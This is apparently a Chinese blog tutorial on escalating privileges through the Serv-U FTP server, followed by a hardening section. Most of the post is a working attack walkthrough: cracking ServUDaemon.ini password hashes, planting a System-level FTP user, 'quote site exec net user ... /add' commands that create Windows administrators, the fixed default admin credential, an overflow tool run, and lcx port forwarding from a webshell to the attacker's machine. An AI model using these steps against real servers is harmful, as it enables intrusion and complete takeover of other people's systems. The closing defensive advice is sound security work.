提权学习:第三方软件提权(Server-u 提权)43958


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


 

第三方软件提权

Server-u 提权

      Serv-U FTP Server,是一种被广泛运用的FTP服务器端软件,支持3x/9x/ME/NT/2K等全Windows系列。可以设定多个FTP服务器、限定登录用户的权限、登录主目录及空间大小等 。

      对于可写权限的,可以通过手工修改ServUDaemon.ini文件来修改用户密码了。但是注意这样修改后的密码,需要重起Serv-U才能生效。要使得密码即时生效,还需要在ServUDaemon.ini的[[GLOBAL]]部分加入ReloadSettings=True,这个语句在Serv-U重新载入ServUDaemon.ini的内容后会自动消失。

      由于Serv-U的用户多,提权成功率也高,众多ASP木马纷纷将此提权功能集成在内(大部分木马都是针对不可写权限情况设计的)。

      对于不可写权限,serv_u6.4以下的,如果默认密码没有修改的,直接可以提权。7以上的可以修改下脚本提权目录,不要用默认的C盘,改在其他盘符用脚本提权

Server -u 提权——思维导图

 

如果管理员能够执行,就用管理员帐号来提权

如果不行,就利用管理员身份创建可以执行的用户

server-u提权常用方法一

1,查看默认安装目录下的ServUDaemon.ini文件,进而查看用户名和密码,将密码去cmd5.com找到对应的server-u的解密方式进行解密。

2,登入ftp,执行如下命令,创建用户,并且加入到管理员组。


 
 
  1. quote site exec net user v01cano v01cano /add
  2. quote site exec net localgroup administrators v01cano /add

 

server-u提权常用方法二

1,使用大马直接创建ftp账号,使用ftp账号登入ftp。

2,然后再执行如下命令,创建系统账号。


 
 
  1. quote site exec net user v01cano v01cano /add
  2. quote site exec net localgroup administrators v01cano /add

 

 

server-u提权常用方法三

server-u的管理员账号权限较大,相当于系统权限,可以通过管理员账号直接创建用户,并且加入到管理员组。

 

 

0x01 Serv-U提权分两种

• 有修改权限(可写权限)

• 无权限修改(不可写权限)

拓展知识:

         •  本地溢出权限提升(该漏洞存在于serv-u 6.0和6.0以前的版本)

         •  serv-u ftp转发端口

 

前言

预备知识:

serv-u默认安装目录:C:\Program Files\rhinosoft.com\serv-U
serv-u密码文件:ServUDaemon.ini
端口如果改了可以通过pid查看
或者可以到serv u的配置文件里面去找!
SerUDaemon.ini这个文件
lccalsetuportNo=端口

 

管理员修改了serv u 密码
      进入其安装目录找到serv u的ServUDaemon.ini这个文件(该文件时储存密码的),然后将密码丢到shell里面去,然后进行serv-u提权,不过一般管理员并不修改serv-u的密码

 

0x02 有修改权限

0. 判断是否安装serv-u

      serv-u的默认端口是43958  可以用nmap 扫描确认 

1. 检查是否有可写权限

      一般安装目录 c:\Program Files\Serv-u\SerUDaemon.ini

      打开配置文件

 2. 增加用户

      在user4=添加一个系统用户

或这样也可以


 
 
  1. [USER=spiger| 1] //用户名
  2. Password=sbd8b58b5c201ee5cc20f9a8551197d4a5 //用户密码加密后的密文
  3. HomeDir=c:\ftp\seven //目录
  4. RelPaths= 3
  5. TimeOut= 600 //超时时间设置
  6. Maintenance=System //权限
  7. Access1=C:\|RWAMELCDP //可访问的目录及权限
  8. Access2=d:\|RWAMELCDP //可访问的目录及权限
  9. Access3=e:\|RWAMELCDP //可访问的目录及权限
  10. SKEYValues=
  11. 注解:斜杠为理解之用,并非也要予以添加
  12. 添加上述代码并保存后,就会在serv-u中添加用户名为spiger,密码是 123456
  13. 通过在本地命令行执行ftp 目标IP地址  命令来连接目标FTP服务器。
  14. 连接后quote site exec net user spiger 123456 /add
  15. quote site exec net localgroup administrators spiger /add

 注:Access1=C:\|RWAMELCDP(这个代表所有权限,包括可执行)

      复制一个 修改名字

      password 密码格式是  gw+md5     

      我从https://www.cmd5.com/   把gw123456  加密  注意gw是他的,也属于密码规则   

      把加密完的密码去替换复制的密码  password=gw+md5(gw123456)

      如果默认用户名和密码被修改,那么我们可以查看下serv_u的安装目录(如何找到安装目录不在本文讨论范围),Serv-U默认的是把密码保存在ServUDaemon.ini文件中。

      默认的密码加密规则是:


 
 
  1. 1. 随机生成两个字母;
  2. 2. 把这两个字母和用户的密码拼接;
  3. 3. 用md5加密这个拼接得到的字符串,并把加密结果全部转为大写;
  4. 4. 把第1步中的那两个字母和第3步的结果拼接,得到的字符串就是用户密码的最终密文。

      那么知道这个原理,我们可以把找到的密码分开去破解,然后用破解的用户名和密码再去用脚本提权

      maintenance=system   是代表系统权限  user=你命名的用户 

      cmd访问 ftp 连接  ip  输入你刚刚添加的用户密码 ,登录成功如下图:

输入  


 
 
  1. quote site exec net user username password /add
  2. quote site exec net localgroup administrators username /add  

利用ftp命令quote site exec 添加用户 加入administrators 权限组

      打开3389连接

PS:上述添加的文件中最重要的是Maintenance=System这句,有了这句添加的FTP用户才是管理员用户,才会有命令执行权限(因为最后是通过FTFP执行命令来添加系统用户的)

 

网上看到的另外一种有权限方式

Serv-U目录有修改提权:

ServU 密码加密存储方法

首先随机生成2位字符(从a-z小写字符)

再将用户原始密码与这2位随机字符合并成为新的密码字符.

如: 用户原始密码为a,随机生成字符为dx,则合并后新的密码字符串为:"dxa"

再使用新密码字符串进行MD5 Hash运算.

dxa=F2319AE3B312103BB3259CA8242DD16C
 
 

然后再存储到ini文件,存储方法为2位随机字符加上新密码字符的MD5 Hash值.

如下:


 
 
  1. [ USER=a|1
  2. Password=dxF2319AE3B312103BB3259CA8242DD16C

ServU 密码破解方法:

除去前2位随机字符获得F2319AE3B312103BB3259CA8242DD16C.

把该MD5 Hash值存入暴力破解工具,产生字典时注意前2位密码必定是dx.

F2319AE3B312103BB3259CA8242DD16C=dxa
 
 

提权思路:Serv-U 修改serv-u配置文件 添加超级管理员

步骤:


 
 
  1. [ USER=lx| 1]
  2. Password=uc8270A0A37BE006573C96DB29DF42DEE8
  3. HomeDir= c:\
  4. TimeOut= 600
  5. Maintenance= System
  6. Access1= C:\| RWAMELCDP

用cmd登陆ftp,,然后在执行下列命令添加用户


 
 
  1. quote site exec net user 用户 密码 /add 添加用户
  2. quote site exec net localgroup administrators 用户 /add 添加到管理员组

C:\Program Files\RhinoSoft.com\Serv-U 默认端口43958 修改的文件ServUDaemon.ini (默认路径)


注意:添加失败的原因可能添加的用户名重名,试试其他组合的用户名,User2=pp|1|0 (用户的顺序一定要设置好)

 

0x03 无修改权限

1. 利用md5 直接去解密(ini 文件密码在ftp连)

2. 默认密码,默认用户

端口写上ftp的端口

口令可能不是默认值,(通过c32hex它)

hex 就是十六进的意思

      账户:LocalAdministrator ,密码:#l@$ak#.lk;0@P

      命令cmd /c net user DisKill /add & net localgroup administrators DisKill /add

3. 不是默认密码时 直接把SerUAdmin.exe 下载下来 进行查看密码

 

0x04 对权限文件,进行一个总结吧

serv-u配置文件无修改权限,但是可以看到配置文件,进行口令破解

      看到FTP用户的配置文件ServUDaemon.ini,在其中找到Maintenance=System的用户,该用户就是系统管理员。如果能够成功破解系统管理员的口令,就可以利用该管理员执行添加系统管理员的用户

      serv-u配置文件中Password字段就是用户口令加密变换后的字符串,破解方法:去掉前两位,剩下的进行md5破解,破解后再去掉前两位,剩下的就是FTP用户口令。

serv-u配置文件无修改权限,可以用Serv-u管理用户来进行提权(这是最常用的方法,一般大马中集成的serv-u提权方法就是本方法)

      serv-u的默认管理端口是43958,只有本地才能进行连接这个管理端口。serv-u默认管理账号是LocalAdministrator,默认密码是”#l@$ak#.lk;0@P“,这个密码是固定的。如果网站管理员忘记修改密码,那么获取webshell后就可以连接该端口后执行命令来添加系统用户。

      虽然,网站管理员很少修改serv-u的这个默认管理账号和口令,但是如果管理员修改了,我们还可以通过查 ServUAdmin.exe文件来获取管理账号和口令。

方法如下:


 
 
  1. 1. 下载 serv-u目录下的 ServUAdmin .exe文件
  2. 2. 在本地用文本文件打开,查找 LocalAdministrator字符来获取口令位置
  3. 3. 通常可以看到 serv-u的管理账号和口令都在文件中,仔细查找即可(如果连用户名也修改了,就搜127 .0 .0 .1或记住账号和密码在文件中的位置)。获取管理账号和口令后就可以利用大马自带的 serv-u来进行提权了。

 

0x05 serv-u ftp本地溢出权限提升(使用6.0以及以前版本)

1、用Serv-U提权综合工具生成提权工具serv_u.exe
2、先上传 serv_u.exe 到一个盘符下 比如是d盘
3、执行命令 d:\serv_u.exe
4、d:\serv_u.exe “net user username password /add” (注意命令要有引号)
5、d:\serv_u.exe “net localgroup administrators username /add” (注意命令要有引号)
 

0x06 serv-u ftp转发端口

      上一种方法中提到serv-u的本地管理账号只能本地进行连接,但我们可以利用端口转发的方式来将其管理端口转发的本地,进而提权。在目标Webshell上运行LCX:lcx -slave 你的IP 5000 127.0.0.1 43958
在本机上运行:lcx -listen 5000 21

      打开本地的SERV_U 在IP上填入127.0.0.1 帐号写LocalAdministrator 密码#l@$ak#.lk;0@P

      此时的连接过程是:本机连接21端口——>转发往本机5000端口——>管道连接至远程机5000端口——>转发至远程43958端口

      连接成功后,在本机登陆Serv_U就相当于登陆了远程的Serv_U。你可以FTP登陆本机IP,输入上面的帐号和密码,在远程FTP服务器上执行命令。


      上面是serv-u6及以下的主要方法,其中方法也适用于servu-7等版本,只是文件路径可能有所变化。下面讲serv-u7及以上版本的提权,不适用于serv-u6是因为文件路径发生变化,serv-u6没有相应文件。

      serv-u7中管理员的口令在C:\Program Files\RhinoSoft.com\Serv-U\Users\Local Administrator Domain\.Archive文件中,破解方法和serv-u6是一样的。

 

那么该如何防御呢?

servr-u如果权限设置不当容易被提权,添加账号

 

防范方法:

1.确保serv-u安装路径只有系统用户访问权限
2.确保建立的ftp账号不要给执行权限
3.修改ftp默认监听端口

Serv-U防溢出提权攻击解决办法:

      降底Serv-U的运行权限与控制Serv-U的“Acls”可访问目录

分析一下Ser-U 防溢出提权产生的原因

      如今Microsoft系列(Win2k Win2k3)SERVER中使用最为广泛的FTP服务器之一、大名鼎鼎的Serv-U FTP服务器中如何简单地解决Overflow溢出、以及Hacker常用的Webhsell提升权限等类攻击的隐患与缺陷;读完本文,您将可以使您的 Serv-U服务器免去被溢出、被提升权限的安全威胁与危险。

前言: 
      大家应该都还没有忘记三年前在Serv-U5.004版的之前所有版本的"Serv-U FTPMDTM命令缓冲区溢出"与"Serv-U FTP服务器LIST命令超长-l参数远程缓冲区溢出漏洞"吧,这个漏洞让很多服务器管理员立坐不安,也让很多大型的站点、甚至电信级的服务器沦陷了...随着Serv-U新版本的推出,这个漏同已经不存在了;虽然溢出不存在了,但黑客永远也没有停止,所以伴随着来的又是Serv-U5.0到6.0之黑客常用的本地提升权限缺陷。(注:最常见的就如webshell+su提权,我在 Baidu输入"Serv-U提权"关键词,搜索结果“百度一下,找到相关网页约34,000篇,用时0.001秒 ”)因此,解决Serv-U的安全问题迫在眉睫。 
Serv-U提权虽然严格来说这个不应该算是Serv-U的重大漏洞,但只要因管理员的配置不当将会产生严重的后果;下面LeeBolin就来为大家介绍下如何安全配置 Serv-U,才能保证Serv-U甚至服务器的安全


一、大家知道Liunx系统和Unix系统比Windows安全的一个重要原因在于:

      Linux和Unix的系统服务不使用root权限,而是使用权限比较低的另外一个单独用户,比如web服务使用了nobody这个用户。而Serv-U默认是以system身份运行的,而System这个系统内置账户对本机有完全操作的权限;因此如果攻击者利用Serv-U程序的漏洞而获得了可执行shell的那,那么他将可以随意控制操作系统里任何一个目录了 

二、我们根据一的讲解知道了为什么Serv-U提权与溢出攻击可怕的原因了,那么我们该如何防止这一类攻击的发生呢?

      答案:就是降底Serv-U的运行权限与控制Serv-U的“Acls”可访问目录。


三、Serv-U安全配置 
      1、首先请保持合用Serv-U的最新版本(目前新版为6.4...)。然后在安装Serv-U的时候尽量不要选择默认的安装目录,比如俺将Serv-U 安装在D:/Pro_LeeBolin^_^/Serv-U#$2008$/...(因为这样复杂的目录名可防止Hacker的猜解) 
      2、然后将Serv-U取消MDTM命令的执行,修改Serv-U FTP Banner并开启好Serv-U的FTP日志保存到非系统盘,日志选择记录好Serv-U命名用了那些命令与DLL,并为Serv-U设置一个强壮的本地管理密码(因提权多是因为Serv-U的默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P所造成的,呵呵 $_$),你还可以选择将Serv-U的FTP账户信息保存到注册表,不要存在Serv-U目录下的ini文中,这样更加安全。 
      3、我们再开启"计算机管理"新建一个用户Serv-UAdmin,设置好密码。将用户退出Users组,不加入任何组。并在用户的“终端服务配置文件”选项里取消“允许登录到终端服务器。并且禁止Serv-UAdmin用户的本地登陆。进入控制面板 -> 管理工具 -> 本地安全策略 -> 本地策略 -> 用户权利指派 -> 拒绝本地登陆。(备注:这个用户我们将它来作为俺们Serv-U的服务运行账号,嘿嘿)[(AD^_^:游刃在技术鬼神边缘,打造服务器安全神话!创世纪网络技术前瞻,成就互联网革命先驱!服务器安全讨论区[S.S.D.A]) ] 
      4、开始运行"Services.msc"打开win的服务管理器,找开Serv-U Ftp Server的Serv-U服务;打开“登陆”对话框。当前默认的为“本地系统帐户”。我们将其修改为我们在3中新建的Serv-UAdmin用户,并输入密码。 
      5、下面的工作就是设置Serv-U的运行与FTP目录的ACLs权限了: 
      ①C:/Documents and Settings/Serv-UAdmin 目录加入Serv-UAdmin的权限,允许读取与写入.. 
      ②D: /Pro_LeeBolin^_^/Serv-U#$2008$/ Serv-U的安装目录加入Serv-UAdmin的权限,允许读取与运行。(如果选择了账户保存在ini文件的话,这里就需要增加修改与删除权限,因增删FTP账户时需要删改权才成,否则不能增删FTP账户哟^_^) 
      ③ 如果Serv-U账户选择存在注册表的话。运行regedt32.exe,打开注册表编辑器。找到[HKEY_LOCAL_MACHINE/ SOFTWARE/Cat Soft]分支。在上面点右键,选择权限,然后点高级,取消允许父项的继承权限传播到该对象和所有子对象,删除除admins外的所有的账号。仅添加 Serv-UAdmin账号到该子键的权限列表,并给予完全控制权限。(如果选择了账户信息保存在ini文件中的话可略过此步。) 
      ④ 现在就来设置WEB目录的ACLs了,比如我的虚拟主机总目录为E:/Leebolin$(%;那么我们将此WEB目录加入 Serv-UAdmin账号的权限即可,这样FTP就可以访问我们的WEB目录进行上传下载了,呵.(由于Serv-U并没有以system运行,所以这里只存留admins与serv-uadmin的权限就OK了。) 
      ⑥如果是asp/php/html脚本的话,WEB目录只需要 admins & serv-uadmin & IUSR_XX即可(这里的IUSR_XX是指站点的匿名单用户账号...关于站点的安全与asp.Net的安全请参考我以前的文章:《FSO安全隐患解决办法》、《ASP木马Webshell之安全防范解决办法》、《ASP.NET木马及Webshell安全解决方案》、《服务器安全检查十大要素》) 

四、到目前为止,我们的Serv-U已经简单的做到了防提权,防溢出了。为什么呢?

      因为能常远程溢出 overflow的话,都是通过得一shell 而进行进一步的hacking,而我们现在的Serv-U不是以system运行,所以即使执行了overflow指命,也并不能得到什么...防提权就不用我解释了:因为我们的Serv-Uadmin没有任何系统级的ACLs访问权限.. 

      后记:其实服务器、系统的安全是个整体的概念;有可能你其它一小点的疏忽就可以让你的网站、甚至服务器沦陷。因此安全策略必需走防患未然的道路,任何一个小地方都不能马虎、今天关于防Serv-U的安全配置小技巧就为大家介绍到这里...

 

参考链接:

               https://www.landui.com/help/show-1354.html

               https://www.landui.com/help/show-6145.html

               https://blog.csdn.net/Is0Man/article/details/51179637

               https://www.cnblogs.com/feizianquan/p/10891352.html


我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重


 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值